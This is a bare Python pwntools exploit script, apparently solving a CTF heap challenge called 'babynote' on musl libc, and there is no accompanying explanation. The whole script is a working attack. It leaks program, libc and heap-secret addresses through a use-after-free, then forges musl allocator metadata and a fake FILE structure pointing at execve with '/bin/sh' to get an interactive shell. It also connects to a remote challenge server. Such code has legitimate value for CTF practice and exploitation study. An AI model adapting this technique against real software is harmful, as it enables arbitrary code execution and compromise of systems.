1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205
| from pwn import *
arch = 64 challenge = './babynote'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') def debug(): gdb.attach(p) def cmd(op): p.sendlineafter("option: ",str(op)) def add(name,note): cmd(1) p.sendlineafter("name size: ",str(len(name))) p.sendafter("name: ",name) p.sendlineafter("note size: ",str(len(note))) p.sendafter("note content: ",note)
def show(name): cmd(2) p.sendlineafter("name size: ",str(len(name))) p.sendafter("name: ",name)
def dele(name): cmd(3) p.sendlineafter("name size: ",str(len(name))) p.sendafter("name: ",name)
def forget(): cmd(4)
add("A"*0xc,"a"*0x28) add("B"*0xc,"b"*0x28) add("C"*0xc,"c"*0x28)
show("x"*0x28) show("x"*0x28) show("x"*0x28)
forget()
add("E"*0xc,"e"*0x28) add("F"*0xc,"f"*0x28)
dele("E"*0xc) add("eqqie","x"*0x38) show("E"*0xc)
p.recvuntil(b"0x28:") leak_addr = 0 for i in range(8): leak_addr += int(p.recv(2).decode(), 16) << (i*8) pro_base = leak_addr - 0x48b0 heap_base = pro_base success("leak_addr >> "+hex(leak_addr)) success("pro_base >> "+hex(pro_base))
read_got = pro_base + 0x3fa8
add("A"*0x4, "a"*0x4) forget() add("B"*0x4, "b"*0x4) add("C"*0x4, "c"*0x4)
dele("B"*0x4) for i in range(7): show("x"*0x28)
fake_note = p64(pro_base+0x4900) + p64(read_got) fake_note += p64(4) + p64(8) fake_note += p64(0) add("C"*0x4, fake_note) show("b"*4)
p.recvuntil("0x8:") leak_addr = 0 for i in range(8): leak_addr += int(p.recv(2).decode(), 16) << (i*8) libc_base = leak_addr - 0x72740 success("leak_addr >> "+hex(leak_addr)) success("libc_base >> "+hex(libc_base))
stdout_used = libc_base + 0xad3b0 success("stdout_used >> "+hex(stdout_used))
for i in range(7): add("y"*0x4, "y"*0x4) forget()
heap_secret_ptr = libc_base + 0xad9c0 success("heap_secret_ptr >> "+hex(heap_secret_ptr))
forget() add("A"*0x4, "a"*0x4) add("B"*0x4, "b"*0x4) dele("A"*0x4) for i in range(7): show("x"*0x28)
fake_note = p64(heap_base+0x48c0) + p64(heap_secret_ptr) fake_note += p64(4) + p64(8) fake_note += p64(0) add("C"*0x4, fake_note) show("a"*4)
p.recvuntil("0x8:") heap_secret = 0 for i in range(8): heap_secret += int(p.recv(2).decode(), 16) << (i*8) success("heap_secret >> "+hex(heap_secret))
for i in range(7): add("y"*0x4, "y"*0x4) forget()
new_heap2 = libc_base - 0x7000 success("new_heap2 >> "+hex(new_heap2))
add("A"*0x4, "a"*0x4)
execve = libc_base + 0x4e0c0 fake_area_addr = new_heap2 + 0x1000 fake_meta_ptr = fake_area_addr + 0x20 fake_group_ptr = fake_meta_ptr + 0x30 fake_iofile_ptr = fake_group_ptr + 0x10 fake_chunk_ptr = fake_iofile_ptr - 0x8
success("execve >> "+hex(execve)) success("fake_area_addr >> "+hex(fake_area_addr)) success("fake_meta_ptr >> "+hex(fake_meta_ptr)) success("fake_group_ptr >> "+hex(fake_group_ptr)) success("fake_iofile_ptr >> "+hex(fake_iofile_ptr))
fake_area = "" fake_area += p64(heap_secret) + "M" * 0x18
fake_group = "" fake_group += p64(fake_meta_ptr)
fake_iofile = "" fake_iofile += p64(0) fake_iofile += "/bin/sh\x00" + 'X' * 32 + p64(0xdeadbeef) + 'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve) fake_iofile = fake_iofile.ljust(0x500, "\x00")
fake_meta = "" fake_meta += p64(fake_iofile_ptr) + p64(stdout_used) fake_meta += p64(fake_group_ptr) fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12)) fake_meta = fake_meta.ljust(0x30)
payload = "z"*(0x1000-0x20) payload += fake_area + fake_meta + fake_group + fake_iofile payload = payload.ljust(0x2000, "z")
add("B"*0x4, payload) dele("A"*0x4)
for i in range(7): show("x"*0x28)
fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr) fake_note += p64(4) + p64(4) fake_note += p64(0) add("C"*0x4, fake_note) add("D"*0x4, "d"*4)
dele("y"*0x4)
p.sendline("5")
p.interactive()
|